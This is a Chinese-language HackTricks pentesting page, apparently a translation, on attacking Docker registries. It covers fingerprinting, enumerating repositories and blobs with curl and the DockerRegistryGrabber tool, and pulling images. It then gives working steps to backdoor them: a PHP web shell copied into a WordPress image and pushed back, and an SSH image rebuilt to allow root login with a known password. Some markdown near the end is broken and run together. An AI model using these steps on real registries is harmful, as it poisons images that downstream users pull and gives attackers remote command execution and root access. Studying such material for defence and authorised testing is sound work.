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328 lines
15 KiB
Markdown
328 lines
15 KiB
Markdown
# 5000 - Pentesting Docker Registry
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<details>
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<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>
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支持 HackTricks 的其他方式：
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* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
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* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
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* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
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* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或**关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
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* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
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</details>
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## 基本信息
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一个名为**Docker registry**的存储和分发系统用于存放命名的 Docker 镜像，这些镜像可能有多个版本，通过标签进行区分。这些镜像在注册表中的**Docker repositories**中组织，每个存储库存储特定镜像的各个版本。提供的功能允许用户下载镜像到本地或上传到注册表，前提是用户具有必要的权限。
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**DockerHub** 作为 Docker 的默认公共注册表，但用户也可以选择运行开源 Docker 注册表/分发的本地版本，或选择商业支持的**Docker Trusted Registry**。此外，还可以在线找到各种其他公共注册表。
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要从本地注册表下载镜像，使用以下命令：
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```bash
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docker pull my-registry:9000/foo/bar:2.1
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```
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这个命令从`my-registry`域名上端口`9000`处的本地注册表中获取`foo/bar`镜像版本`2.1`。相反，要从DockerHub下载相同的镜像，特别是如果`2.1`是最新版本，则命令简化为：
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```bash
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docker pull foo/bar
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```
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**默认端口:** 5000
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```
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PORT STATE SERVICE VERSION
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5000/tcp open http Docker Registry (API: 2.0)
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```
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## 发现
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发现运行此服务的最简单方法是在nmap的输出中找到它。无论如何，请注意，由于它是基于HTTP的服务，可能在HTTP代理后面，nmap无法检测到它。\
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一些指纹：
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* 如果访问 `/`，响应中不会返回任何内容
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* 如果访问 `/v2/`，则会返回 `{}`
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* 如果访问 `/v2/_catalog`，可能会获得：
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* `{"repositories":["alpine","ubuntu"]}`
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* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
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## 枚举
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### HTTP/HTTPS
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Docker注册表可能配置为使用**HTTP**或**HTTPS**。因此，您可能需要做的第一件事是**找出**正在配置的是哪种：
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```bash
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curl -s http://10.10.10.10:5000/v2/_catalog
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#If HTTPS
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Warning: Binary output can mess up your terminal. Use "--output -" to tell
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Warning: curl to output it to your terminal anyway, or consider "--output
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Warning: <FILE>" to save to a file.
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#If HTTP
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{"repositories":["alpine","ubuntu"]}
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```
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### 认证
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Docker注册表也可以配置为需要**认证**：
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```bash
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curl -k https://192.25.197.3:5000/v2/_catalog
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#If Authentication required
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{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
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#If no authentication required
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{"repositories":["alpine","ubuntu"]}
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```
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如果Docker Registry需要身份验证，您可以[**尝试使用此方法进行暴力破解**](../generic-methodologies-and-resources/brute-force.md#docker-registry)。\
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**如果找到有效凭据，您将需要使用它们**来枚举注册表，在`curl`中可以像这样使用它们：
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```bash
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curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
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```
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### 使用 DockerRegistryGrabber 进行枚举
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[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) 是一个用于枚举/转储 Docker 仓库（无需或带有基本身份验证）的 Python 工具。
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```bash
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usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
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____ ____ ____
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| _ \ | _ \ / ___|
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| | | || |_) || | _
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|____/ |_| \_\ \____|
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Docker Registry grabber tool v2
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by @SyzikSecu
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positional arguments:
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url URL
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options:
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-h, --help show this help message and exit
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-p port port to use (default : 5000)
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Authentication:
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-U USERNAME Username
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-P PASSWORD Password
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-A header Authorization bearer token
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Actions:
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--list
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--dump_all
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--dump DOCKERNAME DockerName
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Example commands:
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python drg.py http://127.0.0.1 --list
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python drg.py http://127.0.0.1 --dump my-ubuntu
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python drg.py http://127.0.0.1 --dump_all
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python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
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python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
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python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
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python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --list
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python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump my-ubuntu
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python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump_all
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python3 DockerGraber.py http://127.0.0.1 --list
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[+] my-ubuntu
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[+] my-ubuntu2
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python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
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[+] blobSum found 5
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[+] Dumping my-ubuntu
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[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
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[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
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[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
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[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
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[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
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python3 DockerGraber.py http://127.0.0.1 --dump_all
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[+] my-ubuntu
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[+] my-ubuntu2
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[+] blobSum found 5
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[+] Dumping my-ubuntu
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[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
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[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
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[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
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[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
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[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
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[+] blobSum found 5
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[+] Dumping my-ubuntu2
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[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
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[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
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[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
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[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
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[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
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```
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### 使用curl进行枚举
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一旦您**获得对Docker注册表的访问权限**，以下是您可以使用的一些命令进行枚举：
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```bash
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#List repositories
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curl -s http://10.10.10.10:5000/v2/_catalog
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{"repositories":["alpine","ubuntu"]}
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#Get tags of a repository
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curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
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{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
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#Get manifests
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curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
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{
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"schemaVersion": 1,
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"name": "ubuntu",
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"tag": "latest",
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"architecture": "amd64",
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"fsLayers": [
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{
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"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
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},
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{
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"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
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},
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{
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"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
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}
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],
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"history": [
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{
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"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
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},
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{
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"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
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},
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{
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"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
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}
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],
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"signatures": [
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{
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"header": {
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"jwk": {
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"crv": "P-256",
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"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
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"kty": "EC",
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"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
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"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
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},
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"alg": "ES256"
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},
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"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
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"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
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}
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]
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}
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#Download one of the previously listed blobs
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curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
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#Inspect the insides of each blob
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tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
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```
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{% hint style="warning" %}
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请注意，当您下载并解压缩 blobs 文件时，文件和文件夹将出现在当前目录中。**如果您下载所有 blobs 并将它们解压缩到同一个文件夹中，它们将覆盖先前解压缩的 blobs 中的值**，因此请小心。最好将每个 blob 解压缩到不同的文件夹中，以检查每个 blob 的确切内容。
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{% endhint %}
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### 使用 Docker 进行枚举
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```bash
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#Once you know which images the server is saving (/v2/_catalog) you can pull them
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docker pull 10.10.10.10:5000/ubuntu
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#Check the commands used to create the layers of the image
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docker history 10.10.10.10:5000/ubuntu
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#IMAGE CREATED CREATED BY SIZE COMMENT
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#ed05bef01522 2 years ago ./run.sh 46.8MB
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#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B
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#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
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#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B
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#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB
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#Run and get a shell
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docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
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docker ps #Using a different shell
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docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
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```
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### 在WordPress镜像中植入后门
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在发现一个保存WordPress镜像的Docker Registry的情况下，你可以对其进行后门操作。\
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**创建**后门：
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{% code title="shell.php" %}
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```bash
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<?php echo shell_exec($_GET["cmd"]); ?>
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```
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{% endcode %}
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创建一个 **Dockerfile**:
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{% code title="Dockerfile" %}
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```
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```
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{% endcode %}
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```bash
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FROM 10.10.10.10:5000/wordpress
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COPY shell.php /app/
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RUN chmod 777 /app/shell.php
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```
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**创建**新镜像，**检查**其是否已创建，并**推送**它：
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```bash
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docker build -t 10.10.10.10:5000/wordpress .
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#Create
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docker images
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docker push registry:5000/wordpress #Push it
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```
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### 在SSH服务器镜像中植入后门
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假设你发现了一个带有SSH镜像的Docker Registry，并且想要在其中植入后门。\
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**下载**该镜像并**运行**它：
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```bash
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docker pull 10.10.10.10:5000/sshd-docker-cli
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docker run -d 10.10.10.10:5000/sshd-docker-cli
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```
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从SSH镜像中提取`sshd_config`文件：
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```bash
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docker cp 4c989242c714:/etc/ssh/sshd_config .
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```
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并修改它以设置：`PermitRootLogin yes`
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创建一个如下所示的 **Dockerfile**：
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\`\`\`bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd\_config /etc/ssh/ RUN echo root:password | chpasswd \`\`\` \*\*创建\*\*新镜像，\*\*检查\*\*其是否已创建，并\*\*推送\*\*它： \`\`\`bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it \`\`\` ## 参考资料 \* \[https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/]\(https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
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<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||
|
||
支持HackTricks的其他方式：
|
||
|
||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
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* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
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</details>
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